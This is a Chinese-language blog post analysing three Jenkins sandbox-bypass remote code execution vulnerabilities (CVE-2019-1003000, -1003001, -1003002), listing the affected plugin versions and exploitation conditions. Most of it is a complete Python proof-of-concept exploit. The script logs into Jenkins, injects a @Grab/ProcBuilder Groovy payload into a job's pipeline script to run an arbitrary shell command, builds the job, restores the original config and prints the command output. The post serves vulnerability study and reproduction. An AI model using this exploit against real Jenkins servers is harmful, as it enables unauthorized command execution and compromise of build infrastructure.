cve_2019_1003000_jenkins系列RCE漏洞分析

简介
jenkins是一款开源的ci/cd工具, 由于devops的兴起, jenkins为了更好的实现devops于是在第二版中增加了pipeline机制, 用于编排编译发布任务的流程.
jenkins由Groovy语言编写, 具备生产环境所需的稳定性和高性能, 因此广泛用于各大互联网厂商.
本文介绍jenkins同类型的三个漏洞: cve-2019-1003000、cve-2019-1003001、cve-2019-1003002, 三处漏洞均为绕过沙箱导致RCE.

文章目录

  • jenkins相关内容解释
  • 漏洞类型
  • 漏洞描述
  • 漏洞原理
  • poc
  • 参考链接

jenkins相关内容解释

AST: 抽象语法树, 用于描述一个对象的信息, 如: {"function",[{"name":"oprint", "value":"print(\"i am owef.\")"}]}将函数oprint进行抽象表示.
pipeline: 一种框架, 运行与jenkins的服务器与客户机上, 将原本独立运行在单个或多个节点上的独立任务关联起来, 实现整个负责项目的编译流程编排和可视化, 是jenkins 2.x版本最核心的特性, 帮助jenkins实现从单一ci/cd到Devops的转变.
Declarative插件: 安装此插件后, 允许在jenkins中以声明式语句的形式编排项目的编译构建流程
Script插件: 安装此插件后, 允许在jenkins中以script形式编排项目的编译构建流程
Groove插件: 安装此插件后, 允许在jenkins中动态的运行Groovy程序

漏洞类型

jenkins属于web服务, 默认端口为8080, 该漏洞依赖未授权访问或弱密码爆破, 属于RCE漏洞.

漏洞描述

漏洞编号: CVE-2019-1003002、CVE-2019-1003001、CVE-2019-1003000
影响版本:
CVE-2019-1003002影响Declarative插件1.3.3及之前的版本
CVE-2019-1003001影响Groovy插件2.6.1及之前的版本
CVE-2019-1003000影响Script Security插件1.49及之前的版本
漏洞描述: Script Security插件用作sandbox中的脚本运行保护, 可以阻止恶意脚本执行, 通过对源代码应用AST转换注释可以绕过沙箱保护实现RCE, 如: @Grab等; 管道验证REST API和script脚本都受到该问题的影响, 它允许具有全体读取或可控制jenkins文件或sandbox管道在SCP共享库内存的用户绕过沙箱的保护在jenkins的master和node节点上执行任意代码导致RCE.
漏洞利用条件:

  1. jenkins插件:Declarative plugin <= 1.3.3、Groovy plugin <= 2.6.1、Script Security plugin <= 1.49
  2. 权限: 未授权访问的jenkins、弱密码的jenkins, 且可查看所有job、可控制job等权限

漏洞原理

本渣暂不具备分析jenkins漏洞原理的条件, 留此模块用于后续补充.

poc

前提: 使用可查看所有job和管理job的权限的账号在沙箱模式下尝试绕过沙箱执行恶意脚本.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


import argparse
import jenkins
import time
from xml.etree import ElementTree

payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''


def run_command(url, cmd, job_name, username, password):
print '[+] connecting to jenkins...'
server = jenkins.Jenkins(url, username, password)

print '[+] crafting payload...'
ori_job_config = server.get_job_config(job_name)
et = ElementTree.fromstring(ori_job_config)
et.find('definition/script').text = payload % cmd
job_config = ElementTree.tostring(et, encoding='utf8', method='xml')

print '[+] modifying job with payload...'
server.reconfig_job(job_name, job_config)
time.sleep(3)

print '[+] putting job build to queue...'
queue_number = server.build_job(job_name)
time.sleep(3)

print '[+] waiting for job to build...'
queue_item_info = {}
while 'executable' not in queue_item_info:
queue_item_info = server.get_queue_item(queue_number)
time.sleep(1)

print '[+] restoring job...'
server.reconfig_job(job_name, ori_job_config)
time.sleep(3)

print '[+] fetching output...'
last_build_number = server.get_job_info(job_name)['lastBuild']['number']
console_output = server.get_build_console_output(job_name, last_build_number)

print '[+] OUTPUT:'
print console_output


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Jenkins RCE')

parser.add_argument('--url', help='target jenkins url')
parser.add_argument('--cmd', help='system command to be run')
parser.add_argument('--job', help='job name')
parser.add_argument('--username', help='username')
parser.add_argument('--password', help='password')

args = parser.parse_args()

run_command(args.url, args.cmd, args.job, args.username, args.password)

参考文章

1.cve-2019-1003000-jenkins-rce-poc

  1. Jenkins未授权访问RCE漏洞复现记录
  2. Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming RCE (Metasploit)
owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%